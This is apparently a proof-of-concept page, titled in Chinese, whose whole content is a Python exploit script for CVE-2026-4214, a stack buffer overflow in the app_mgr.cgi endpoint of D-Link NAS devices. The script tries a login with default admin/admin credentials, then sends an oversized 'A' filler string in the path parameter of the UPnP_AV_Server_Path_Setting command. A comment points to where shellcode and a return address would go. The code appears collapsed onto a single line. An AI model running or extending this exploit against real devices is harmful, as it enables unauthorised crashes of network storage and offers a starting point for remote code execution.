CVE-2026-4214 D-Link NAS设备app_mgr.cgi栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-4214 PoC - D-Link NAS app_mgr.cgi Stack Buffer Overflow Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys TARGET_DEVICE = "http://192.168.0.1" # Target D-Link NAS IP VULN_ENDPOINT = "/cgi-bin/app_mgr.cgi" def create_exploit_payload(payload_length=1000): """Generate buffer overflow payload""" # Pattern that will overflow the stack buffer # In real exploitation, this would contain shellcode + return address overflow_char = "A" payload = overflow_char * payload_length return payload def exploit_cve_2026_4214(target_ip, username="admin", password="admin"): """ Exploit CVE-2026-4214 by sending oversized path parameter """ print(f"[*] Targeting: {target_ip}") print(f"[*] Vulnerability: Stack buffer overflow in UPnP_AV_Server_Path_Setting") # Create session and authenticate session = requests.Session() # Authentication (if required) auth_data = { "username": username, "password": password } try: # Attempt authentication session.post(f"{target_ip}/login.cgi", data=auth_data, timeout=10) except: pass # Construct malicious request payload = create_exploit_payload(1000) exploit_params = { "cmd": "UPnP_AV_Server_Path_Setting", "path": payload # Overflow payload } print(f"[*] Sending exploit payload (length: {len(payload)})") try: response = session.get( f"{target_ip}{VULN_ENDPOINT}", params=exploit_params, timeout=10 ) print(f"[*] Response Status: {response.status_code}") # Check for signs of successful exploitation if response.status_code == 200: print("[+] Exploit sent successfully") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_DEVICE exploit_cve_2026_4214(target)